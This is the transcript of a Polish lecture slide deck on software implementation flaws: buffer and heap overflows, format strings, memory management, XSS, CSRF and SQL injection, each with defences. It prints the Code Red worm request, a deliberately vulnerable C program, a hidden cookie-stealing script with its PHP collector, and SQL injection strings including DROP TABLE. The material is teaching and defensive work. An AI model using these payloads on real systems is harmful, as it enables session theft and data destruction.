Błędy implementacji oprogramowania

Slides:



Advertisements
Podobne prezentacje
20041 Projektowanie dynamicznych witryn internetowych Paweł Górczyński ASP 3.0.
Advertisements

C++ wykład 2 ( ) Klasy i obiekty.
C++ wykład 4 ( ) Przeciążanie operatorów.
Język C/C++ Funkcje.
Programowanie obiektowe
Standardowa biblioteka języka C++
Wzorce.
SQL INJECTION Wykorzystanie błędów w językach skryptowych
Wprowadzenie do języka skryptowego PHP
Bezpieczeństwo wyjątków w C++: OpenGL
Systemy rozproszone W. Bartkiewicz
Języki programowania C++
Bezpieczeństwo aplikacji WWW
Kamil Smitkiewicz Bezpieczeństwo w PHP.
PROGRAMOWANIE STRUKTURALNE
PHP + MySQL część II.
Wydajne aplikacje na platformie .NET
CLR na platformie .NET Tomasz Kostarski.
Tablice.
Metody autoryzacji użytkowników wymaga integracji z systemem operacyjnym nie wymaga logowania mała pewność mechanizmu wymaga logowania duża pewność mechanizmu.
Damian Urbańczyk PHP Obsługa sesji.
Programowanie w C Wykład 3
PRZEPEŁNIENIE BUFORA B u f f e r O v e r f l o w
Temat nr 10: System przerwań
Język ANSI C Operacje we/wy
Systemy zarządzania treścią CMS
Semafory według normy POSIX
SIEĆ P2P 1. Definicja sieci równouprawnionej. To taka sieć, która składa się z komputerów o takim samym priorytecie ważności, a każdy z nich może pełnić.
Jak przeżyć w Internecie? Czyli o bezpieczeństwie słów kilka… Michał Jankowski MJ Software Solutions Services.
Podstawy programowania II
Podstawy programowania II Wykład 2: Biblioteka stdio.h Zachodniopomorska Szkoła Biznesu.
Prezentacja funkcjonalności dziennika e-klasa
Pliki tekstowe. Operacje na plikach. mgr inż. Agata Pacek.
TABLICE C++.
Linux - polecenia.
Prezentacja funkcjonalności dziennika e-klasa
Instrukcja MILO moduł klienta.
Automatyka i Robotyka Systemy czasu rzeczywistego Wykład 4.
Prezentacja i szkolenie
Andrzej Repak Nr albumu
Inicjalizacja i sprzątanie
Programowanie obiektowe Wykład 3 dr Dariusz Wardowski, Katedra Analizy Nieliniowej, WMiI UŁ 1/21 Dariusz Wardowski.
Programowanie obiektowe Wykład 6 dr Dariusz Wardowski, Katedra Analizy Nieliniowej, WMiI UŁ 1/14 Dariusz Wardowski.
Buforowanie D e f i n i c j a.
MICROSOFT Access TWORZENIE MAKR
Projektowanie stron WWW
Systemy operacyjne (wiosna 2014)
Kalkulator Wyborczy. Okno startowe Kalkulator w pierwszej kolejności weryfikuje, czy posiada ważne licencje. Jeżeli posiada więcej niż jedną licencję,
Podstawy programowania
Jak przeżyć w Internecie? Czyli o bezpieczeństwie słów kilka… Michał Jankowski MJ Software Solutions Services.
Informatyka – szkoła gimnazjalna – Scholaris - © DC Edukacja Formatowanie treści oraz grafika w kodzie HTML Informatyka.
Kurs języka C++ – wykład 4 ( )
Procesor, pamięć, przerwania, WE/WY, …
Technologie internetowe Wykład 5 Wprowadzenie do skrytpów serwerowych.
Podstawy języka skryptów
Temat 5: Instrukcje: print(), echo()
PHP Zmienne Damian Urbańczyk. Czym są zmienne? Zmienne zajmują pewien obszar pamięci, aby przechować pewne dane. W przypadku PHP, zmienne stosuje się.
Komendy SQL do pracy z danymi
PO13-1 / 19 Wykład 13 Wyjątki i ich zgłaszanie Wyłapywanie wyjątków Obsługa wyjątków Wykorzystanie polimorfizmu Filtrowanie wyjątków Błędy w konstruktorach.
Wykład 2 Programowanie obiektowe. Programowanie obiektowe wymaga dobrego zrozumienia działania funkcji definiowanych przez użytkownika, w ten sposób będziemy.
Seminarium Dyplomowe: Metodyka i Techniki Programowania Autor: Bartłomiej Fornal.
Tryby adresowania i formaty rozkazów mikroprocesora
Łukasz Sztangret Katedra Informatyki Stosowanej i Modelowania Prezentacja przygotowana w oparciu o materiały Danuty Szeligi i Pawła Jerzego Matuszyka Podstawy.
ASP.NET Dostęp do bazy danych z poziomu kodu Elżbieta Mrówka-Matejewska.
 Podstawowy składnik.NET Framework  Technologia tworzenia w pełni dynamicznych stron internetowych działających po stronie serwera  Zorientowanie na.
K URS JĘZYKA C++ – WYKŁAD 3 ( ) Przenoszenie Składowe statyczne Funkcje wbudowane Argumenty domyślne.
 Formuła to wyrażenie algebraiczne (wzór) określające jakie operacje ma wykonać program na danych. Może ona zawierać liczby, łańcuchy znaków, funkcje,
C++ mgr inż. Tomasz Turba Politechnika Opolska 2016.
Aplikacje i usługi internetowe
Zapis prezentacji:

Błędy implementacji oprogramowania Przemysław Targalski, Krzysztof Szcześniak

Błędy implementacji oprogramowania Błędy implementacji oprogramowania, to takie które popełnia nieświadomie programista, a z którymi skutkami musi najczęściej zmierzyć się administrator.

Rodzaje błędów implementacji Buffer Overrun (przepełnienie bufora) Nieprawidłowe zarządzanie pamięcią Nieprawidłowa obróbka danych uzyskanych od użytkownika: Format Strings w C (Ciągi formatujące) Błędy aplikacji WWW XSS CSRF SQL Injection

Buffer overrun buffer overrun - błędy polegające na kontrolowanym nadpisywaniu przestrzeni adresowej procesu (np. stosu lub sterty) danymi, mogącymi zmienić przebieg wykonania procesu, np. poprzez modyfikację adresu powrotu funkcji lub wskaźnika do innej funkcji.

Buffer overrun Wpisywanie większej ilości danych niż jest w stanie przechować bufor Off-by-one error – wpisanie wartości pod n-tym indeksem w n-elementowej tablicy Najbardziej narażone języki – C, C++ Bezpieczne języki – Java, C#

Buffer overrun Stack-based Overflows ( stack smashing ) – nadpisywanie danych na stosie Heap-based Overflows – nadpisywanie danych na stercie

Stack-based Overflows void overflow_function (char *str) { char buffer[20]; strcpy(buffer, str); }

Stack-based Overflows Jeżeli bufor jest dostatecznie duży można go zapełnić złośliwym kodem, a do adresu powrotu wpisać adres tego bufora.

Stack-based Overflows strcpy( char* dest, const char* src ); strcat( char* dest, const char* src ); Obie funkcje zakładają że bufor dest ma wystarczający rozmiar aby zmieścić kopiowane dane. sprintf() char buffer[512]; sprintf(buffer, "Wrong command: %s\n", user);

Stack-based Overflows Rozwiązanie (1) – dynamiczna alokacja pamięci: dest = (char *)malloc(strlen(source) + 1); if (dest) { strcpy(dest, source); } else { /* Błąd alokacji pamięci */ … } Rozwiązanie (2) – bezpieczne odpowiedniki: strcpy_s( char*dest, size_t sizeInBytes, const char* source); strcat_s( char*dest, size_t sizeInBytes, const char* source);

Stack-based Overflows gets(char* buffer); - pobiera dane ze standardowego wejścia. Bezpieczne odpowiedniki: gets_s(buffer, sizeof(buffer)); fgets (buffer, sizeof(buffer), stdin);

Stack-based Overflows Sposoby ochrony: Non-Executable Stacks Address space layout randomization Runtime Bounds Checkers Canaries StackGuard Stack Smashing Protector (ProPolice) Libsafe and LibVerify

Non-Executable Stacks Zakaz wykonywania instrukcji znajdujących się na stosie lub stercie. Blokada wykonywania istnieje od procesora 80286 na poziomie segmentów jednak nie przyjęła się. Bity NX ("No eXecute„ - AMD) lub XD ("eXecute Disabled„ - Intel) – blokada na poziomie stron pamięci. Używane dopiero w Windows XP sp2 (Data Execution Prevention ) Exec Shield – patch dla linuxa Nie uchroni przed atakami korzystającymi z bibliotek systemowych np „return-to-libc attack”

Address space layout randomization Losowy rozkład przestrzeni adresowej Dostarcza środków do wprowadzenia losowości do schematu adresowania wszystkich danych, które są ładowane do pamięci.

Runtime Bounds Checkers C++ standardowo nie posiada takiej możliwości DevPartner for Visual C++

Canaries „Kanarki” – pewne informacje dodane pomiędzy buforem a ważnymi danymi np. adresem powrotu – jeżeli zostaną zmienione wiemy, że nastąpiło przepełnienie bufora. Terminator canaries Random canaries Random XOR canaries

Canaries

StackGuard Dodatek do kompilatora gcc 3.x Dodaje własny kod do każdej funkcji Używa „kanarka” obok adresu powrotu funkcji Przed powrotem z funkcji sprawdza poprawność „kanarka”

Stack Smashing Protector (ProPolice) Dodatek do gcc 3.x Stworzony przez IBM, oparty na StackGuard Używany w m.in. w OpenBSD Możliwość użycia w gentoo po dopisaniu „hardened” do USE flags

Libsafe and LibVerify Biblioteka wykrywająca przepełniania buforów w programach. Jest dołączana w sposób dynamiczny – nie trzeba nic rekompilować. Przechwytuje wywołania niebezpiecznych funkcji (strcpy() itp.) i sprawdza czy nie nastąpiło przepełnienie, jeśli nastąpiło alpikacja jest zabijana.

Heap-based Overflows Trudniejsze do wykrycia Zależą od rodzaju danych zapisanych w pamięci Podmiana informacji takich jak uprawnienia użytkownika lub ścieżki dostępu do pliku.

Heap-based Overflows #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { FILE *fd; // Allocating memory on the heap char *userinput = malloc(20); char *outputfile = malloc(20); strcpy(outputfile, "/tmp/notes"); strcpy(userinput, argv[1]); fd = fopen(outputfile, "a"); if (fd == NULL) { fprintf(stderr, "error opening %s\n", outputfile); exit(1); } fprintf(fd, "%s\n", userinput); fclose(fd); return 0;

Heap-based Overflows Sposoby ochrony: DieHard Electric fence

DieHard Praktycznie eliminuje możliwość przepełnienia bufora na stercie. Alokuje obiekty losowo w pamięci, zdala od siebie Eliminuje błędy związane z podwójną dealokacją tego samego obszaru pamięci.

Electric fence Biblioteka która po podlinkowaniu do programu przejmuje kontrolę nad zarządzaniem pamięcią. Eliminuje możliwość nadpisania jednego bufora innym. Każdy bufor jest alokowany na innej stronie. Wyjście poza bufor automatycznie zabija aplikację.

Buffer overrun Niewykorzystane dziury Microsoft Security Bulletin MS04-028 Buffer Overrun in JPEG Processing (GDI+) Could Allow Code Execution (833987) Microsoft Security Bulletin MS03-023 Buffer Overrun In HTML Converter Could Allow Code Execution (823559)

Buffer overrun Code Red – robak infekujący IIS GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNN %u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801 %u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3 %u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0

Buffer overrun Blaster (2003)– wykorzystał dziurę w DCOM RCP – powodował restart komputera po ok. 60 sekundach od połączenia z internetem. Sasser (2004) – dziura w Local Security Authority Subsystem Service – losowe restarty komputera.

Format Strings w C Częsty błąd przy wyświetlaniu tekstu gdy nie trzeba go formatować: char tekst[100]; fgets (tekst, sizeof(tekst), stdin); tekst[sizeof(tekst)-1]=‘\0’; printf(tekst); // źle printf(”%s”,tekst); //dobrze

Format Strings w C Czy aby na pewno printf() tylko wyświetla? %s – wyświetlanie łańcucha danych %n – zapis ilości wypisanych do tej pory znaków pod wskazany adres w pamięci. %d – wyświetlanie liczby całkowitej %20d – wyświetlanie liczby całkowitej i ustawienie szerokości na 20 znaków (co pozwala dowolnie modyfikować ilość wyświetlonych znaków)

Zarządzanie pamięcią Alokacja pamięci na typ/obiekt reprezentujący dany zasób Inicjalizacja obiektu reprezentującego zasób - doprowadzenie go do stanu gotowości do użycia (utworzenie połączenia sieciowego, otwarcie pliku, wypełnienie buforów itp.) Użycie (być może wielokrotne) zasobu reprezentowanego przez obiekt. Zakończenie wykorzystania zasobu (zamknięcie połączenia sieciowego, zamknięcie pliku, opróżnienie buforów itp.) Zwolnienie pamięci przydzielonej na obiekt reprezentujący zasób.

Zarządzanie pamięcią C/C++ kontra Java/.Net W językach C/C++ jesteśmy zmuszeni do samodzielnego wykonania wszystkich powyższych czynności Platforma Java/.Net zwalnia programistę z części tych punktów: Automatyczna alokacja pamięcie (punkt 1) Automatyczne oczyszczanie z niepotrzebnych obiektów(5) Wiele typów zasobównie wymaga żadnych dodatkowych zabiegów związanych z ich zwalnianiem(4)

Alokacja pamięci a typy Typy bezpośrednie(dziedziczą po System.ValueType), alokowane są na stosie, a zwalnianie pamięci odbywa się automatycznie Typy referencyjne (dziedziczą po System.Object ), alokowane są na stercie. W momencie uruchomienia tworzony jest wskaźnik alokacji (AllocPnt), pokazujący na adres w pamięci, pod którym zostanie utworzony następny obiekt.

Sterta Kiedy wywołujemy operator new : Sprawdzana jest wolna przestrzeń na stercie jeśli nie ma wystarczająco dużo miejsca - obszar sterty jest powiększany lub wykonywane jest jego porządkowanie - o tym w dalszej części artykułu jeśli wolny obszar sterty jest odpowiednio duży, środowisko uruchomieniowe wywołuje konstruktor klasy tworzonego obiektu, a operator new zwraca obiekt nowo utworzonego obiektu (równy aktualnej wartości AllocPnt) wartość wskaźnika AllocPnt zwiększana jest o wielkość pamięci przydzieloną nowo utworzonemu obiektowi

Sterta c.d. Po utworzeniu kilku obiektów sterta mogłaby wyglądać tak: W przypadku braku miejsca a czyszczenie i powiekszanie pamięci nie daje rezultatów otrzymujemy wyjątek OutOfMemoryException.

Alokacja pamięci w C/C++ Wolne obszary stery zapisywane są pod postacią listy wolnych obszarów Kosztowna alokacja nowych bloków wymaga przejrzenia listy wolnych bloków znalezienia bloku o odpowiedniej wielkości zmodyfikowania listy wolnych bloków tak, aby uwzględniała nowo zajęty obszar pamięci.

Alokacja pamięci .Net Prostsza i szybsza niż w C/C++ gdyż wymaga jedynie inkrementacji jednego wskaźnika o odpowiednią wartość Otrzymujemy porównywalną szybkość alokacji pamięci na stosie jak i na stercie

Garbage Collector Skutkiem tak bezpotroskiego zajmowania pamięci było by jej szybkie zaśmiecienie. Za odśmiecenie odpowiada gc. GC może sam zwolnić niepotrzebny obiekt, ale nie potrafi wykorzystanych przez niego niezarządzonyc zasobów (np. otwartych plików, połączeń sieciowych) – to trzeba samemu zaimplementować

Finalizator klasy Instrukcje, jakie GC ma wykonać podczas tworzenia obiektu : class TextClass { // finalizator klasy: ~TextClass() //zwalnianie zasobów }

Kłopoty z finalizacją Stworzenie obiektów z finalizatorami trwa dwa razy dłuzej niż tworzenie obiektów zarządzanych (związane z wypełnieniem przez środowisko dodatkowych struktur) Wywołania finalizatora spowalnia proces porządkowania pamięci. Obiekty z finalizatorem zwalniane są później niż obiekty zarządzane –przedłuża sztucznie „życie” niepotrzebnych obiektów Nie ma gwarancji co do kolejności niszczenia obiektów

Kolejność niszczenia obiektów

Ręczna finalizacja W ogólności najlepiej unikać tworzenia klas, które wymagają finalizacji. Problem w przypadku klas korzystających z plików, bądź połączeń sieciowych Rozwiązanie: danie możliwości ręcznego zwolnienia zasobów. W środowisku .Net odpowiadają za to dwie metody: close() – wywołania zwalnia wszystkie zajęte zasoby(zamyka pliki, opróżnia bufory). Jest możliwość ponownego otwarcia pliku dispose() - jej wykonanie na stałe odbiera możliwość pracy z obiektem. Wszystkie zajęte zasoby są zwalniane, a obiekt nie nadaje się już do wykorzystania.

Zarządzanie pamięcią - podsumowanie Napisanie programu w taki sposób, żeby nie próbował on czytać bądź zapisywać pamięci mu nie przydzielonej. Garbage Collector, któremu czasami trzeba „pomóc” w zwalnianiu zasobów. Skutki błędnego zarządzania : Może powodować błąd wykonania i natychmiastowe zakończenie programu Bardzo trudne do wykrycia błędy w systemach bez ochrony pamięci

Zarządzanie pamięcią – podsumowanie 2 Wyższość Java/.Net nad C/C++ Tworzymy obiekt w C/C++ operatorem new Potem zwalniamy jego pamięć operatorem delete Zatrzymujemy jednak odnośnik do tej pamięci Utworzony inny obiekt może otrzymać zwolnioną pamięć Program otrzymuje możliwość dostępu do tej samej pamięci, bo postrzega ją jako dwa różne rodzaje obiektów Konsekwencja takiego działania: nieprzewidywalne zachowanie się porgramu i powstanie trudnych do wykrycia błędów. Każdy błąd systemu może być potencjalnie wykorzystany do włamania się!!!

WWW-XSS XSS (Cross Site Scripting ) nieświadome przekazywanie przez witryny internetowe złośliwego kodu. Atak składa się : przekazanie do aplikacji złośliwego kodu przez napastnika; nieświadome pobranie od aplikacji złośliwego kodu przez ofiarę; kod zostaje wykonany; dodatkowe akcje wykonywane przez atakującego.

XSS Atakujący łączy się z aplikacją po czym wysyła złośliwy kod : <SCRIPT type="text/javascript"> alert('Złośliwy kod!'); </SCRIPT> Taki kod może być np. treścią listu na forum czy adresem email w polu nadawcy. Aplikacja odbiera kod i zapisuje go w bazie danych Użytkonik po zalogowaniu wchodzi na stronę i nieświadomie wyświetla jego zawartość. W yniku wyświetlenia zostaje wykonany złośliwy kod JavaScript, który przekazuje pewne dane atakującemu.

Luki wykorzystywane przez XSS aplikacja wpuszcza złośliwy kod. aplikacja wypuszcza złośliwy kod. przeglądarka klienta wykonuje złośliwy kod.

Ataki CSRF (ang. Cross Site Request Forgeries) wykorzystują mechanizm działania protokołu HTTP. Przeglądarka stron WWW po odebraniu zasobu, konkretnie kodu HTML witryny WWW, analizuje zawartość strony i pobiera kolejno wszystkie zasoby, jakie są konieczne do poprawnego wyświetlenia strony (np. pliki stylów, pliki ze skryptami JavaScript oraz obrazy).

CSRF <IMG src="ikona.png" alt="Ikona listy wypunktowanej"> , pobrany porzez zapytanie : GET ikona.png HTTP/1.1 GET może odwoływać się do skryptu i przekazywać mu dodatkowe dane GET skrypt.php?imie=Jan&wiek=43 HTTP/1.1 Umieszczenie na stronie obrazu: <IMG src="skrypt.php?imie=Jan&wiek=43" alt="Ikona..."> wywołuje skrypt skrypt.php i umieszcza zmienne imie oraz wiek. Samo wyświetlanie strony WWW może wywołać nieświadome wykorzystanie różnych skryptów.

Luki wykorzystywane przez CSRF Wykorzystuje takie same luki jak XSS czyli : aplikacja wpuszcza złośliwy kod. aplikacja wypuszcza złośliwy kod. przeglądarka klienta wykonuje złośliwy kod. Różnica występuje po stronie klienta, poprzednio wykorzystywanyt był JavaScirpt, teraz protokół HTTP.

Przykłady ataków w praktyce Ciasteczka(cookies) – mechanizm służący do przekazywania danych od serwera WWW do przeglądarki użytkownika Kradzież „ciasteczek” – mamy strone z „ciasteczkami” Dostępne są one w przeglądarce w kodzie Java.Script document – kod witryny, który zawiera pole cookie SCRIPT type="text/javascript"> alert(document.cookie); </SCRIPT> - wyświetla na ekranie „cookies” ale nie kradnie ich Kradzież możliwa np. poprzez zapytanie HTTP generowane przez IMG <IMG src="zly.php?ciasteczka=imie=Jan;wiek=15"> Ogólnie kod wygląda następująco :

Przykłady ataków w praktyce c.d. <SCRIPT type="text/javascript"> var adr = 'zly.php?ciasteczka=' + escape(document.cookie); var obr = '<IMG src="' + adr + '">'; document.write(obr); </SCRIPT> Oprócz tego przygotowujemy skrypt zly.php, który prześle ciasteczka do pliku ciasteczka.txt Po zapisaniu ciasteczek do pliku musimy wysłać jakiś obrazek, jeżeli tego nie zrobimy możemy zdradzić swoją obecność, bo przeglądarka poinformuje, że obrazek nie został znaleziony lub pobrany. W tym celu możemy wysłać np. 1-piskelowy gif. if (isset($_GET['ciasteczka'])) { writeDataFile(); }; $obraz = file_get_contents('1px-przezroczysty.gif'); header("Content-type: image/gif");

Przykłady ataków w praktyce c.d. Wówczas napastnik jest zamaskowany gdyż: Przeglądarka wysyła do zly.php ciasteczka W odpowiedzi dostaje 1-piksleowy obrazek gif. Efekt – pobranie czasteczek, i właściwie brak widocznych efektów wizualnych (co najwyżej niewielka zmiana układu strony).

Zabezpieczenia przed atakami XSS oraz CSRF Należy wyczyścić zarówno dane wpuszczane do bazy danych jak i wypuszczane z bazy danych do przeglądarki klienta. Szczególna uwaga na kod JavaScript i HTML. Każde znaczniki zawarte np. w imieniu osoby wysyłającej powinny wzbudzać podejrzenia. Powinny być dozwolone tylko nieliczne np. P, BR,czy STRONG. Wtedy należy sprawdzić czy kod ma tylko dozwolone znaczniki oraz czy znaczniki nie posiadają kodu JavaScirpt przypisanego do zdarzeń.

WWW-SQL Injection Atak na aplikacje (warstwę danych) w celu wydobycia danych użytkowników(tych które mogą być pobrane przez system) i zakłócenia pracy aplikacji. Atak polega na „wstrzyknięciu” zapytanie SQL poprzez formę na stronę WWW. Przykład: wysyłanie loginu i/lub hasła. Można tak spreparować zapytanie by uzyskać inny niezamierzony przez projektanta aplikacji efekt.

Przykłady włamań 1 Pominięcie autoryzacji : Zakładając taki sposób logowania :“WHERE login=‘Jacek’ AND password=’ala’”; wpiszemy: login=’ OR 1=1 – password=’’ Otrzymamy wówczas WHERE login= ‘’ OR 1=1 --’ AND password=’’”; Alternatywa 1=1 jest zawsze prawdziwa – otrzymujemy listę users.

Przykłady włamań 2 Jeżeli obiekt „users” posiada więcej niż jeden rekord nie zostanie wyświetlona lista transakcji użytkownika (warunek pomyślnej autoryzacji) Możliwość wpisania : login=’ OR ID = 1 – password=’’ Zwróci dokładnie jeden obiekt w users gdzie ID=1 (jeżeli istnieje takie ID). Ograniczenia : możemy nie znać nazw kolumn ( w szczególności ID). Rozwiązanie – metoda prób i błędów. Jeszcze prościej jest w przypadku gdy niektóre serwisy wyświetlają kody błędów bazy danych(jaka tabela, jaka operacja, w której kolumnie był błąd).

Przykłady włamań 3 Pozwala na usunięcie całej tabeli „users” Wystarczy w pole login wpisać : login:’; DROP TABLE users;

Zabezpieczenia przed SQL Injection Walidacja danych wprowadzanych przez użytkownika Ograniczenie długości wprowadzanych danych Obróbka danych użytkownika w skrypcie. Parametryzowane wywołanie zapytań SQL Wykorzystywanie procedur składowych bazy Ograniczenie praw dostępu do bazy danych Ograniczenie informacji o błędzie prezentowanej użytkownikowi